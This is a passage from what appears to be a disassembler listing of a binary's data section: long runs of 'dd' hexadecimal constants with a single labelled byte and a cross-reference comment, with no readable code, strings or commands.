0A728BE72h, 7720EFCEh dd 4CEDF050h, 932430F8h, 4E2FDEDCh, 56F69A19h, 40D8409Fh dd 0F2098352h, 7B462EB6h, 0AF6DA79Ah, 76D0E440h, 23390255h dd 57DD8B7Eh, 1BA27243h, 84B05F03h, 0C9B8E4A9h, 530E1E00h dd 0C8C5B238h, 0F3B7240Fh, 0E86009DEh, 9979C090h, 9E02A40Ah dd 926EBF9h, 61242D10h, 203928B9h, 24970991h, 0AC5784B3h dd 0C7182440h, 0CD6BB16Ah, 1DADC036h, 0E50F8AD8h, 44BF3BACh dd 0F9E80C9Bh, 30A6E4Ah, 0ED21F1AAh, 9273E0B4h, 491CB8EBh dd 9B4A9DFEh, 0F6578057h, 49C426A0h, 8A4D9564h, 0B190A1BCh dd 6D20C290h, 9B584E2Ch, 239802Fh, 90FED821h, 3D6997Eh dd 7F34C727h, 2F6B49C1h, 69A56A48h, 0D853F8FBh, 14218AFh dd 5BEE9F71h, 44B9CF3Fh, 586BB839h, 6AE0C017h, 98436E9h dd 8D0FC25Dh, 0E998D192h, 35043DE4h, 5E213E41h, 523483BDh dd 0D16FA7h, 0EB93C8D2h dd 9BFC26Ah, 507BC1F9h, 69917178h, 0B6181AD1h, 77C81602h dd 8251EDACh, 9157DDAh, 0F1109871h, 0D3AD1CFDh, 6156E807h dd 8A53F74Dh, 0ECFCAA95h, 335B4D18h, 0E129FCBDh, 0B6C4E802h dd 401571B8h, 8020F5EBh, 0B7B7C32Bh, 261011Ah, 0C6E2BF66h dd 6CC58B5Eh, 0ACECBCA9h, 0C5B4F400h, 77F541DAh, 80EDB1D3h dd 0DD3E455Ah, 0AF01DE55h, 0AC8C1C9Fh, 60100DE9h, 890001E1h dd 0BDDC0C76h, 0DBFB08Fh, 28E93CD8h, 0B9D52925h, 0F2EEF0h dd 8B9EA873h, 1AEBBEC0h, 0E72CE425h, 6716E4B8h, 0C78DE4B0h dd 0DD20B585h, 7378471Bh, 15D17E91h, 7366C919h, 217D1FE4h dd 0AFAD7200h, 6EA49F4h, 2E8A1347h, 1E97C6D2h, 291044AFh dd 0F21DB526h, 808CC6A5h, 0B3ED33FCh, 85290795h, 417239BDh dd 4D5CC549h, 8C15B894h, 52B11631h, 2F411A71h, 90022649h dd 9DC5076h, 0C40B3646h, 4931E604h, 797AE9h, 0E6362BBCh dd 0BB75D45Fh, 2622513Dh, 1DED064h, 268DCECAh, 0C99D292Fh dd 0FAC79233h, 9B8063DBh, 0F5F6D2AFh, 80F98601h, 31F18D29h dd 7509C591h, 62537803h, 0AC8C51DDh, 1B2801ABh, 0D84DE307h dd 0B04FDF7h, 820F16C8h, 0FA601988h, 0C3AA01CBh, 85895352h dd 9EAC625h, 1811B51Dh, 35B0E580h, 0F16DCE6h, 0F8880C87h dd 0E80D5245h, 0E3056D16h, 301BB25Ch, 3D002E8Fh, 0A0A99707h dd 528D0953h, 5F2589C1h, 0FE6181E2h, 211F24FBh, 0B7C17BC9h dd 1879887Fh, 6619F30Bh, 0C4278564h, 2AAB601Ah, 7334092Bh dd 0A28472AAh, 81664005h, 0CB602CDFh, 6A66F2BEh, 0C7F75058h dd 0F47038B0h, 0B63B7E53h, 14467C71h, 0B589B704h, 4953E259h dd 4896BC45h, 0D9043309h, 0CC3B63F9h, 92F6D7E3h, 27014778h dd 0C7AAB656h, 9E676A81h, 0AB28A8A0h, 0FFF1C001h, 8B0F35CBh dd 6A8203Bh, 0B4078E1Bh, 0F9129E67h, 0A3020855h, 68E84C24h dd 0B62C595Ch, 20534BA3h, 0E03F7371h, 0C903A1E6h, 0B302634Eh dd 0F8C5250h, 0AFBE6605h, 0A7CF557Ch, 0B00BB6BCh, 64C4F5FCh dd 6990062h, 26EEF067h, 6400540Ah, 92D0C044h, 149E621Ah dd 0E851BD29h, 0FD9589C1h, 60084008h, 212DB501h, 0D6BF3A0Fh dd 0F961658Fh, 79AD659h, 82263681h, 0DDC220E6h, 0CC680141h dd 7DC71FD2h, 0BEB7405Bh, 37C71F1Ah, 3E6CB6B6h, 0E92340B1h dd 9038485Bh, 16F0AB2Eh, 0DB15C554h, 0A5814172h, 0B1AB70Ch dd 0D9C011F3h, 8B0B7D0Dh, 0D305559Dh, 1FE0D0C3h, 82CA7638h dd 25B8FA96h, 5BCE5858h, 60847330h, 0AFD7705Ah, 0D87DF1D0h dd 613E2DF5h, 5F9277A6h, 0F178AE93h, 0F6A11C16h, 0FA7C00BAh dd 4A68BD83h, 4D4594B6h, 38EC32F9h, 0E8DDA300h, 0D0FA7EB0h dd 8D0F2E8Ch, 0C8E944BFh, 3A00804Fh, 0E3A1ED3Ch, 0C2842Dh dd 27654EF3h, 6C14CB40h, 1169117h, 97D9A480h, 3DACFDE9h dd 0A3B435B0h, 0B53104A5h, 64AA055Dh, 81527EFh, 2810F86h dd 0F08B240Dh, 9EF12059h, 1D4676E3h, 0B1646F00h, 0FBF5BD72h dd 33137E00h, 0B4BA2BBEh, 6874B622h, 0BFD5804Dh, 1420F6D7h dd 0D46B2300h, 0CC09F971h, 0A3AF0B12h, 59625E8Ah, 22803BB7h dd 0E4376F0Eh, 33150BEBh, 61641ADCh, 0F205145h, 8B22840Ch dd 64429506h, 0D04B73D1h, 447490BEh, 0E700A710h, 0BB54DF48h dd 1611E256h, 91955782h, 4C830F1Bh, 5E4DF1B7h, 5C304E98h dd 2FC542E4h, 0C861A2D8h, 0F55F000Fh, 0DEE93061h, 0C59529FBh dd 7024215Bh, 57CF4201h, 48F098B8h, 0B5CB007Fh, 0D7E21451h dd 4F4F2183h, 10AD9414h, 0B61306A1h, 0E68AC412h, 649AE0C8h dd 1C2B1E32h, 0C4D25358h, 0B83EFD99h, 65FF090Bh, 0B9E4FC1Eh dd 1B4E04BFh, 0BCC38B05h, 74054EBAh, 0F6278A0Fh, 0D040E88Bh dd 61A007Eh, 7B3D7AA2h, 84015930h, 0EFD5DDBEh, 9D34A3C5h dd 3C5F812Eh, 0AEDB5F76h, 9133D880h, 0ABA06293h, 14602985h dd 2B61D7ABh, 4B61F9D8h, 4041ED9h, 1E0245DDh, 9D059396h dd 0BC10204Bh, 9D5D0179h, 0F76359D9h, 6052EEh, 9FF66CA3h dd 7F04421Dh, 0F0EAAFA0h, 605A2B25h, 95935E7Ch, 6B8B31C1h dd 0F0A9AA25h, 23032ED3h, 69C12618h, 401D602h, 0ED697F59h dd 89AE4014h, 2760B59Dh, 0ED850944h, 246A912Fh, 8FE60377h dd 70A2F835h, 0D270515Bh, 0E00D05FBh, 1685897Fh, 8201875Eh dd 0A25C064Dh, 0DA17C942h, 76294506h, 30D2E0A2h, 253726BFh dd 79892AF3h, 592D2466h, 0D5C696Dh, 0A26AD86Bh, 3E7DE470h dd 0CE041514h, 9440B4B1h, 23B53A79h, 0C00C1C1Dh, 8DEE39D6h dd 0FA16E9C6h, 0B7E352E1h, 2FEF8140h, 0EECA2E23h, 398E16B7h dd 0E2F80156h, 207C5752h, 0AB5CE480h, 690004A4h, 0D026640Eh dd 247A7D18h, 285E9A6Eh, 28D1B396h, 0E29209Bh, 388D585Ch dd 2D7A41EDh, 0F66A2B63h, 0D27A007Fh, 55776713h, 0CB489080h dd 0F5B508D6h, 0A3492809h, 966EB707h, 6E7B07C9h, 30BF001Dh dd 0C053D65Dh, 38FEA209h, 0E88291BEh, 65190BCEh, 0E8620ABEh dd 96D63DD0h, 0A8A37B17h, 93FD832h, 424B3074h, 401E5605h dd 2B4F4DC9h, 504BDB07h, 0C40C784h, 43D7863h, 436134E1h dd 360B273h, 0B095CFB9h, 8EA5F005h, 57DC2D5Eh, 0C2970591h dd 0E7628B4Fh, 6DC852Ch, 952954CCh, 2053C989h, 0B2B5ADh dd 4DE5F59Fh, 92687433h, 0DEC0B068h, 2C5BA0BEh, 38EFC32Bh dd 88F03D45h, 29E98E27h, 0A10EF712h, 36A4A10Bh, 8BF600C7h dd 0B8ACBFC0h, 0ABB4CC7Fh, 3E87C4ADh, 0A883FFDCh, 0FB333A91h dd 717C64B1h, 0BF61013Ch, 69B7D839h, 4AE45E5Ch, 405328D2h dd 4C0137B1h, 6E9AA495h, 1B11D01Dh, 0B0D89380h, 0CE0B838Eh dd 842979A4h, 51051A13h, 0CEAAA35Fh, 4FE91232h, 760B45E8h dd 2A33CB0h, 0D319E107h, 2C76BECAh, 50671B7Dh, 881658BFh dd 46643A9Fh, 76F8A582h, 0D101DE01h, 6D6E9796h, 0E6C455BAh dd 8A6002FCh, 0F9B503F7h, 0BF8BD256h, 1F6C4C6h, 717BDC22h dd 2F61CAF6h, 1EBD24C1h, 0C1B85829h, 0A0CCF700h, 70D3C75Ch dd 20554AA8h, 4F810DDBh, 5461BF09h, 0BB7915h, 6DB2103Ah dd 0EC1E3516h, 8A40FE92h, 0F2FD2E4Fh, 841B4960h, 5EA37B0Bh dd 55511184h, 95ABC72h, 2B336F8Ah, 0DE3843C6h, 462F1689h dd 1CB33AC8h, 40BF2DF4h, 0E28BD511h, 0EE4E6834h, 7129E9C9h dd 178F01Ch, 8D89864Ah, 25452CB5h, 700E7B5Eh, 98FA4C78h dd 2B60C603h, 2237D95h, 3047D8A7h, 0D2432D4Fh, 5175A700h dd 7DBAC554h, 5E533ED4h, 43B1AACh, 91663C38h, 7D8D9DDCh dd 0ECF5415Bh, 2B4BE9FEh, 0DB2AD4F1h, 320B8000h, 0E0C839D8h dd 4F132F7Ah, 20051C4h, 55AA2C3Fh, 0F8AD91C5h, 96A0E63Dh dd 7465409Fh, 5A00D9FCh, 20587C7Eh, 1FC891E6h, 8138F5E8h dd 9D01CF41h, 5FAD24FDh, 16415996h, 8FCFE1Bh, 0AACB008Eh dd 4E4BB99Ah, 1D58A68Dh, 0F3ED075Ah, 13500247h, 90705521h dd 6EC14F1Eh, 0D3E51628h, 82B72AC4h, 22A6C800h, 134418Bh dd 53B26600h, 0F978DF7Ch, 322404F2h, 0E691CBEBh, 4B16E04Bh dd 0DFA01CDh, 71FFB7E9h, 66860B2h, 0FD87858Ah, 448CEC56h dd 0AD1AC457h, 905F0015h, 1DC7BF50h, 0E53F2E41h, 50716CF3h dd 86DC7D0h, 2C0D9529h, 820F4A31h, 8BC0B76Ch, 3DBD89FBh dd 0BB9B4DA9h, 0BC6F4D70h, 0FD220F18h, 0EBC1B15Eh, 70E0EDD5h dd 255BCDADh, 9400137Fh, 4B423A86h, 0F912BAB9h, 533062CCh dd 23FC56h, 78D04613h, 0B6376160h, 890CD901h, 0A24753ABh dd 7908058h, 0E28BF66h dd 0B580C550h, 0F452DD7Ah, 0DE4E35BEh, 0F99006D1h, 1CECE76Ch dd 402E008Ch, 77B9BE48h, 0A55858E7h, 0A1FBC0CDh, 162BD21h dd 0DA249A97h, 0E433D00Ah, 6C9D2389h, 0D6B5BF4Eh, 0F0B0FA00h dd 0FE7F531h, 8B8C8866h, 2046CD16h, 162DCED9h, 5E269AF5h dd 6007DC5Eh, 0F117660Ch, 0BF464D0h, 9A52DBDh, 615C49A9h dd 2FE100DCh, 8DEB9C8Bh, 8211BD01h, 1E750AE9h, 4210174Fh dd 9765BE5Ch, 890277DBh, 27218D95h, 0A57198BDh, 4F397925h dd 0C101FAB8h, 55E96B26h, 0A820F382h, 601A4061h, 0CAB7BE04h dd 0BBB23197h, 2F10D00h, 0ABA1A5A9h, 0AD3C615Bh, 5BC08A2Dh dd 60822779h, 0ED139910h, 4280D35Eh, 0FA9815CEh, 6A5C2A7Fh dd 60FF1D35h, 83718D1Bh, 416877F8h, 12A2AD23h, 0B837759Bh dd 69021F1Fh, 0DA8FEA41h, 0E7734AAEh, 0E8BBB344h, 9FC0C96h dd 72FE9AB1h, 8A93487h, 549216BBh, 880CB5C8h, 0BC147E9h dd 3488F781h, 35F574E4h, 0A33285C7h, 316B7D74h, 70795B0Bh dd 0F10ACA37h, 300C2241h, 310C114Eh, 8DB32D95h, 514BEDA6h dd 8A656337h, 0FB5F1909h, 8435AFE5h, 0BC02A207h, 7AB1D8D5h dd 52B81D7Dh, 11018FFAh, 38EC5B05h, 7A6C12E5h, 0F0F34789h dd 77CD00BFh, 4A6B691Bh, 0DF01079Fh, 0D4B1A017h, 0ACFB30Ah dd 8BD1BD29h, 9439C6ADh, 0C69DD438h, 36CD0444h, 0B303EDE9h dd 3216B2BBh, 102D88D4h, 16CD99A6h, 1A979D0h, 5FA36219h dd 0BC183DB0h, 0F9A600E1h, 565F9860h, 0C909BD1Eh, 5E9DB533h dd 49231E4Dh, 67E08A1h, 4D7127BDh, 0F32C1CAh, 0CA8F304Eh dd 20B4FCF0h, 49010526h, 0BA6DF698h, 0ED908C2Eh, 0A64E1A42h dd 29B4E061h, 0EB79558Dh, 73A69700h, 0B6BD7103h, 3F812756h dd 0E40CDF81h, 13B458FCh, 7358FB25h, 37F654F0h, 0C7D82B29h dd 0F4181BD1h, 61DFFB00h, 0D8111874h, 8036B993h, 9A623E90h dd 63008C01h, 82716FF8h, 9FED7F7h, 596A70A5h, 0D561B9F4h dd 0CFEC967Ah, 5ED0003Ch, 932E24EEh, 591307BFh, 3B8D7706h dd 344B302Ch, 812AC139h, 465D6D35h, 0D5B64BFFh, 1535A9A0h dd 50BF570Eh, 5E7362ACh, 434CDAF9h, 0ACF4495Ch, 2BBA3EA3h dd 609F550Ch, 0B08DACAh, 27034585h, 30AA9352h, 3D7BD5Dh dd 0BF692764h, 0FACCD1D8h, 598D8927h, 0F324B973h, 31579729h dd 0E8D69018h, 0C2127463h, 7D16E283h, 87094795h, 1B462AE1h dd 70E6FB25h, 0BE05C0F2h, 58ECF7E1h, 1723A23Ah, 38F67F07h dd 691BF537h, 29129145h, 0B94764D6h, 608CEF29h, 76E3D48Dh dd 20F2F649h, 0C1832F1Fh, 45387698h, 53295424h, 12BF2A00h dd 26D81A10h, 13611811h, 0C14EBCE9h, 1B09B523h, 25DA5F02h dd 0FBBE3269h, 0C80F79C8h, 0DF093DB6h, 0F1BC8E33h, 9620015Ah dd 0D0DA68D0h, 0EBF0738Ah, 0D2E72116h, 906F54C5h, 0AC7E0A0Bh dd 0B35B4A64h, 6A4B41CEh, 0B98A4AC4h, 0F0E6E64Bh, 54C787h dd 0EFB7D9A3h, 2B64D857h, 0F0A726F9h, 0D90C09h, 0FA9F1D0Ah dd 0A99D89C7h, 60692E41h, 0B14F2D88h, 0EF020374h, 0BB55E828h dd 4A473CE2h, 0AE6014E4h, 0ED97C08Bh, 9DC9C113h, 4C7F6D2Dh dd 79FC1E32h, 1F45B504h, 0B4C21216h, 0CF0DFD3Fh, 72FC710Bh dd 7CB8FE79h, 96978E02h, 0D9F08B0Dh, 352EE65Fh, 0C02DCD97h dd 32B33517h, 46538B9Dh, 71DAC55Bh, 4A5BB71Ch, 20D91CC4h dd 1E19F041h, 0FEF89003h, 52A8529h, 0F8B40F0Ah, 4DE8C2Ch dd 0E9FACF18h, 0A82F400Dh, 153EB7Ah, 0A2B48B87h, 34B64A10h dd 0B9FF535h, 70E8732Fh, 2E758848h, 55BD0912h, 0B75E86B0h dd 0DB5D9490h, 5AC9F500h, 44F1570Eh, 0D8A400FFh, 9C172B6Bh dd 150458B7h, 458D0942h, 0BD5F14E0h, 211CF305h, 1D75ACh dd 17B8F781h, 455CB30h, 0FF0D6DC6h, 1006E7Ah, 0D05A5310h dd 1A9074ACh, 0E98C0F2Dh, 0FC615193h, 10195C40h, 0E360EC5Fh dd 20C24131h, 4196C881h, 61706A02h, 70958589h, 6E2AEF6Fh dd 2A2300DCh, 8992B9B3h, 8B4851E1h, 8C2DD203h, 15066009h dd 10B06755h, 86820970h, 2084CA33h, 0B90025B5h, 600F9BDEh dd 0B649E961h, 0BD330559h, 8BA74421h, 0B8FBA9C1h, 376A0B6Eh dd 0EF46F679h, 18F1DB80h, 18F15D91h, 0EC1C0518h, 1AED7D42h dd 0DC457CCBh, 99717400h, 784EBC2Ch, 152E250h, 0E9AFC1BFh dd 2F310F2Eh, 585A2D04h, 90096BB0h, 4BE7963Bh, 150276B7h dd 0D697A1D9h, 8777405Eh, 0D601F07Fh, 2C9CD08h, 0BF40A211h dd 70BDBFC5h, 394F5641h, 47D164F0h, 94FD4059h, 2965261Bh dd 2F81B541h, 6D102A6Dh, 0B36B9260h, 49B5D30Eh, 0BD2AE3Dh dd 256C2619h, 1571AA91h, 54071418h, 0DFBA40BFh, 0B6A8D5FAh dd 62B4611Ch, 5FB8D6E8h, 4EBFD15Ch, 0DE0CE4C9h, 5A93B052h dd 0F8D3362Dh, 0F1C5920h, 7503BF66h, 0BC7AA992h, 0F511635h dd 2D77898Ah, 844E023Ch, 0D11954B5h, 0D2E2A7E6h, 19FE479h dd 462585CBh, 0D460B4C1h, 0D62EC600h, 0AF936CEEh, 0BEA1133Ah dd 0DB309A2h, 73E8E456h, 2A98267Eh, 68CF017Ah, 68092FE9h dd 6077B1D2h, 0A8163D09h, 0E7E100CEh, 63952812h, 2953F53h dd 0D1F11055h, 0A112E4BFh, 0B804295Ah, 48B41DB9h, 89DB49E2h dd 42198D04h, 0F23859Dh, 0B1EDB584h, 47B13C8Ch, 0C612A039h dd 4EFCFA20h, 0D3211389h, 294D8DB4h, 2A4BCB8h, 0BD83FB9Fh dd 0A8D15E81h, 0FC503111h, 0E913408Dh, 376D6769h, 0B61081F3h dd 965538BCh, 4CB81556h, 675E8184h, 1A2C8649h, 0B12C5C77h dd 528C14FCh, 8A703101h, 545DE685h, 0DB41AACFh, 41A59D2Ah dd 685696F2h, 1D6E5FA4h, 2AF7FF00h, 7AEFC43Fh, 9ABCF816h dd 1880E5B8h, 25E9C30h, 1FA02039h, 0B8C0159Eh, 9F975DA3h dd 89F91CF4h, 656AE58Dh, 7C1AC279h, 0DC957645h, 0BE02840Ah dd 0D909C533h, 79A27B20h, 172181Dh, 6266718Bh, 0D5DC3FF2h dd 27203AA7h, 415853h, 0DD46364Bh, 6C61676Dh, 0C3754C00h dd 98E1694h, 5090019Bh, 3A0580BEh, 0F681DC28h, 7ABBB017h dd 7FB48A53h, 16D85DE9h, 80EF9B4Ah, 75A2E360h, 200690B9h dd 4C971989h, 2D951323h, 229E327h, 0E64411C6h, 53375770h dd 0F162DF04h, 0BD1520F8h, 134EBDC5h, 13776F9Bh, 0B10B5055h dd 89D90773h, 0EB53A508h, 0FF181951h, 0A91FF903h, 0C48BC5F8h dd 68B8D9ADh, 0F9BE5102h, 78640FEEh, 0DC49B6DAh, 5CD2CD00h dd 0F2827AD9h, 0B828091Fh, 72D1830Fh, 6B0E9602h, 401D5E6Dh dd 4503DA8Fh, 0B7AB8D00h, 9BC47B21h, 200AB4EAh, 16D14AFCh dd 81259E0Ah, 760D89D6h, 0ECD3388Ah, 0A6DB8BC7h, 8100385Ch dd 596854E7h, 0A6BA9F3Ch, 360766Dh, 2A1E90Fh, 9AF91047h dd 315AE836h, 92245201h, 38EEEA06h, 2120D472h, 0F24E5F77h dd 0B0F81B31h, 0BEB77FC2h, 274F2A1Fh, 61FC8EC9h, 1EDBD23h dd 0D44BBE00h, 927AF924h, 3F7810Eh, 0FA720C09h, 0E07ECD71h dd 0B9928945h, 0C4CA9325h, 0DB7200F9h, 0A5BE9C90h, 11E44330h dd 46D92000h, 295F51CEh, 5CC92CEFh, 8024AD97h, 9D3141BEh dd 0BF2722A5h, 0C5AC6A4Dh, 0C480E09h, 3F5480CEh, 0B55BB2D9h dd 63EFF5EFh, 805AA3BFh, 195D51DCh, 0B4601B4Dh, 815210A9h dd 893902C2h, 615F119Ch, 62D9D242h, 9525803Ch, 0F9076FDEh dd 9B4007D7h, 0A00E43A6h, 0B88C6892h, 93F0C793h, 5C9201AAh dd 0F2B8E199h, 2C353CEDh, 0B1AAA4D9h, 0EE0F88Dh, 2F4770F8h dd 0DBC44D39h, 25C7CE1Eh, 6EA3F341h, 0DA214C21h, 78B80C2Dh dd 0E3756C05h, 0BCC58A1h dd 0B147F7Eh, 7C9921E5h, 881C2952h, 0ED2501A4h, 0E919E010h dd 183961DBh, 9A039674h, 0F068B2B1h, 4FC6F92h, 0C1831CB2h dd 2D3D6FBEh, 34E0A403h, 0F17233Fh, 61ABE7A6h, 35CCA62h dd 0F21600DCh, 0CE1E094Bh, 8D5B5399h, 20DED022h, 24C471BEh dd 0A554625Ch, 5A810ADAh, 3B9D8953h, 5B5EE944h, 66C0C8DBh dd 0D5470CEFh, 1926107h, 4DB92B54h, 6D4FC016h, 9E07AED1h dd 0E361D49Bh, 0D1B6F585h, 0A147572Dh, 0B96214C4h, 3129B8DFh dd 8656822Ch, 0C06BCD4Bh, 67DDF04Ch, 65209AB8h, 60BF0524h dd 0A84B57D8h, 1B410461h, 0FB276750h, 87807ED1h, 0BAC08EAFh dd 6B3300AAh, 0A6737084h, 391796ABh, 0C00058F9h, 61EDC0EAh dd 90854BC7h, 39CF3FA8h, 86E1F5Fh, 77A8DB1Eh, 0B3FA25A2h dd 3530CDF3h, 8066DB2Ah, 11DBD8Ah, 3191208Dh, 652D85E6h dd 0B3564E21h, 0F042D11h, 640E5303h, 61CB44C2h, 231D6BAEh dd 2880118h, 4092A19Ah, 7BA9D7ABh, 7C6E905Fh, 1B250D00h dd 0E3083CE7h, 0D19E8A2Fh, 0C141005Ch, 3EE04623h, 0C89BB20Fh dd 0E00D4E42h, 0C95AC2D5h, 99E95C91h, 0D63B6014h, 0C08DBD13h dd 7DB52B6Ah, 0B789CC94h, 103ADCF3h, 3E884B0Bh, 6F12008Ch dd 770545CBh, 0C102F563h, 2E02948Fh, 0AE90F51Ah, 4A00E2F9h dd 0A5D1D2E0h, 28A8E19h, 89F39B5Bh, 0B47A758Dh, 0B2029F7h dd 0C4599509h, 56195AC8h, 0AD2B5308h, 1A22B831h, 0DE036415h dd 0A7BC2778h, 0C13D4EDCh, 76330FF0h, 0E513F0E4h, 7495009Bh dd 0BF66892Ch, 603D3957h, 4FA1248Bh, 0A56AC0ADh, 5AD48214h dd 82DF804Eh, 4A21DA25h, 59BA2061h, 6400FC31h, 3BA0C16Ch dd 5CEF056Dh, 8727C0F5h, 0D93099E6h, 0F6F45515h, 0CD6DE3FFh dd 0C801B6B8h, 0A89A1317h, 0C188FCBFh, 0B9131BEDh, 0F22E787h dd 671EDE82h, 2E31F8D5h, 21021999h, 35D241h, 35C46EBBh dd 0AF1634BEh, 0C5DBE956h, 913BE480h, 0F00237CBh, 0C1D0A59Eh dd 3736AB8Bh, 7113802Eh, 6DDC97Eh, 46E8E316h, 830976E3h dd 5F8401E1h, 0E216F325h, 8B48301Dh, 8701B700h, 0DE77EA99h dd 894CF3D9h, 635A9FCh, 824C0015h, 617C6CF2h, 0A96E605Fh dd 85342500h, 84A50AF1h, 0ADBD2917h, 0DB0AB9B2h, 6BF047C0h dd 760037B7h, 6CB7907Ch, 203F984Ah, 0FA822DF5h, 371A29F7h dd 499384FBh, 0D86EC1CFh, 0C950AD5Dh, 3A2051BCh, 5A2B404Dh dd 25CA8014h, 33726AAAh, 604CB4F6h, 0A39D2FE3h, 22CFF853h dd 8DE9A10Bh, 0EBB88D80h, 8B179BCEh, 64051AAh, 1EAE714Dh dd 0CA870191h, 0EA22DB5Bh, 7BF289E1h, 8C50702Ah, 0D7618009h dd 606438h, 25EEC172h db 7Eh, 15h, 0C8h byte_544547 db 8Ch ; DATA XREF: ___:off_44720Co dd 8EB91838h, 2223CCE8h, 4CCF5C28h, 44B4BEEDh, 0F1E7C157h dd 895E0217h, 0B70B5ABCh, 99947710h, 49912900h, 8E97B60Dh dd 89F03AF8h, 837EEB8Eh, 3CDF8B46h, 0BF0133B1h, 5EC71947h dd 9752DEF7h, 0D542DC4Fh, 8C0257E1h, 0B29AF084h, 5BC029F7h dd 39417091h, 3056F760h, 0DA0ADA89h, 0B2FCC0AAh, 1BE04F4h dd 0DD1D25BDh, 4E442229h, 0A08918DBh, 9D891802h, 0E3B8AAF7h dd 51746D6h, 9D99303Bh, 0B69D905h, 8BDDD988h, 4A85183Bh dd 3380EFDEh, 0E9900E1Dh, 0A168DC24h, 29DBEAA7h, 0F1FF13Ah dd 84E4B291h, 8015F8DBh, 87EB6E8Dh, 0C1634A53h, 74456A6Dh dd 6BAB57Bh, 586807AFh, 0EBC0A865h, 1AB57BE0h, 0A8D18B81h dd 9C4F8209h, 0F48CD345h, 619C0089h, 0BBAB919Bh, 58BF55FFh dd 9C608BD2h, 25F7F94Ah, 55702FFBh, 0F37101EEh, 0C7F83FA7h dd 0D2CF2985h, 27809FDBh, 611EB50Ah, 6C3795h, 950BE241h dd 0AE9F19C5h, 1E31E8DFh, 9D6107EBh, 305B0BE9h, 92930D8h dd 506CE54Ah, 78C96E6Dh, 3741B52Bh, 66601075h, 0A8D8278Ch dd 4035B004h, 0B5FF016Ah, 3F68979Dh, 0B041A785h, 0C27ED0F1h dd 8B000F8Fh, 31EFC1FEh, 43C680Ch, 1EA2B920h, 0D925702h dd 50FF77A0h, 0BFE91A95h, 85C6F421h, 13C382Dh, 30DF6856h dd 7E88A9C5h, 5DD02141h, 0E50EA10Bh, 8D069725h, 5605347Ch dd 6112006Eh, 6E0C1C3h, 628BA4Ch, 0EA81F011h, 0EBA9083h dd 958914C2h, 0FF972737h, 6F4E5C38h, 5264E840h, 0EE7090FFh dd 95A5BA89h, 2B586230h, 0F01AC264h, 81041CA8h, 825A4D38h dd 0C02E1283h, 33C50B7h, 3A813BD0h, 84194532h, 2D9C025Ch dd 0E9131010h, 8B8846D9h, 0DD20FEC8h, 40031915h, 88064F3Ch dd 1E22E9C2h, 12657D8Bh, 58F4655h, 1CC35BF8h, 1BD1030Ch dd 4D092920h, 123808DBh, 28644075h, 0B56D058Fh, 0E1F1E462h dd 0EC245C2Ch, 0A9811002h, 0B5148CB0h, 0C0330259h, 5DBD83C3h dd 0E129234Bh, 4760FD24h, 23A7D268h, 2CCAD49Ah, 150C0129h dd 9DD3EB16h, 3809F02h, 207CFE29h, 0E6F617BEh, 0FBAFE0A3h dd 4D9FC0E4h, 7E06C092h, 3538AD70h, 290D2C31h, 11D5588h dd 0DCB738BEh, 0F1F08867h, 9758C13h, 10E93512h, 61501974h dd 38B88A53h, 0E0D13F04h, 0F5821479h, 0E6E9F09Dh, 585BD301h dd 82172258h, 0DF23201Eh, 0DEA426E6h, 5271001h, 11B50B91h dd 0EE77C42Bh, 0D600576Eh, 7C91323Ah, 7F272F95h, 91C6C3E8h dd 7B2C85BDh, 8662F7Ah, 33D943Dh, 0AFEF5FE7h, 0E27792A6h dd 0B7E1F9CCh, 0FA22A56Ch, 0D7830B74h, 13C885B9h, 12F41E1h dd 0A00A59AAh, 0EB99AB0Dh, 0DCA9121Ah, 0AC73DC55h, 1A80F72Ch dd 447BB009h, 0EFF244h, 0D18ABC08h, 0E0CEE74Dh, 5F3D3601h dd 0D9CCBE65h, 0CB71BC35h, 74B8C27Dh, 8DFCB624h, 32FEE101h dd 9E65ABE8h, 6289B9E8h, 181164B4h, 39323DDDh, 0D735A300h dd 59C5CDACh, 78E8C718h, 0CC68167h, 49E20341h, 6B92196Ah dd 12DCB8BEh, 0AFE519CAh, 0C4F9A125h, 51C29C4h, 11DF38E8h dd 9AC548Ah, 0ADF8659Dh, 0DDBD0112h, 0F731CFEDh, 2A22FDCAh dd 5800E67Ah, 750DCE4Ah, 0DC05E5FAh, 6DEE804h, 0CE89CB9h dd 83B1F701h, 8AAA5B9Bh, 0E80BC42Eh, 81B0621Dh, 50600115h dd 615AC85Fh, 75A4E834h, 859F60AFh, 49822009h, 41271EBDh dd 2AF43CB1h, 2195C8h, 40AEDBA0h, 2F77F1C8h, 0F6704117h dd 0B58697F1h, 8F58E85Fh, 0DC4BB4h, 428D9235h, 0ED918514h dd 88C8E46Eh, 50DF60Ah, 990CE87Bh, 4B315B68h, 402D558h dd 0CEA520BEh, 2407F55Ch, 8FA2ED6Fh, 1D756E40h, 74260950h dd 166AE827h, 0E04F6F7Eh, 5F24E592h, 0CA50382h, 8F12ECB5h dd 0E83CC7C0h, 0C2CC5902h, 51810FEBh, 20DB3FAFh, 0A76B04B8h dd 3722700h, 8F515E1Dh, 47280FA4h, 902235A1h, 6C406D0Eh dd 59812701h, 0A049C09Fh, 0E8F116A0h, 609D9A64h, 6231B5F0h dd 4712806h, 2FC67009h, 423D1E8Dh, 0BD02200Eh, 0EE8A7B00h dd 950560E8h, 0C7D0535Bh, 0C8C6006Ah, 6DA8B807h, 60046B44h dd 93D9D29h, 5D3EEBDh, 442AA501h, 88229166h, 1E19D77h dd 463AB501h, 0A110E801h, 1A209B90h, 9C5D5581h, 4E45602Eh dd 0A084DACh, 1604F6E8h, 9834BC29h, 822BF138h, 9F030E59h dd 0E891216Dh, 280C497Eh, 4EFA3199h, 0C0739ED5h, 896B8677h dd 4098BC48h, 8169C1C7h, 0CB929300h, 99DD5ABEh, 0F6341880h dd 6359ED7h, 40F8EF97h, 0CC8A7923h, 0ABB8C54Ah, 0C58D8BC7h dd 0FAE7E405h, 467E814h, 21C9130Eh, 0DF0E3732h, 0C5617030h dd 0F92558h, 0A7FEC971h, 0CF3280h, 0FB95F014h, 0B00D75DEh dd 145B5A8h, 11ED3597h, 73158019h, 487D69B5h, 0B212F541h dd 2FECE149h, 2E801A9Eh, 0F6F79B8Fh, 0E41858E0h, 0C15CBDAAh dd 0C38B251Ah, 0E140117Eh, 3D87CC6Ch, 1D8B207Ah, 3B04EB25h dd 5FDBB85Eh, 0EC800D9Bh, 5B1ECCB5h, 7127CF2Eh, 4AB50515h dd 956FD8C4h, 1037F26h, 0B12F3220h, 68E72A58h, 54E1DDA0h dd 40F79500h, 50539BFBh, 84D94EB1h, 0C94580A5h, 19977DD2h dd 8DD93101h, 975B6C64h, 30108B7h, 0A678E609h, 2F200178h dd 0D958D17h, 0B8A92756h, 1C00CCB8h, 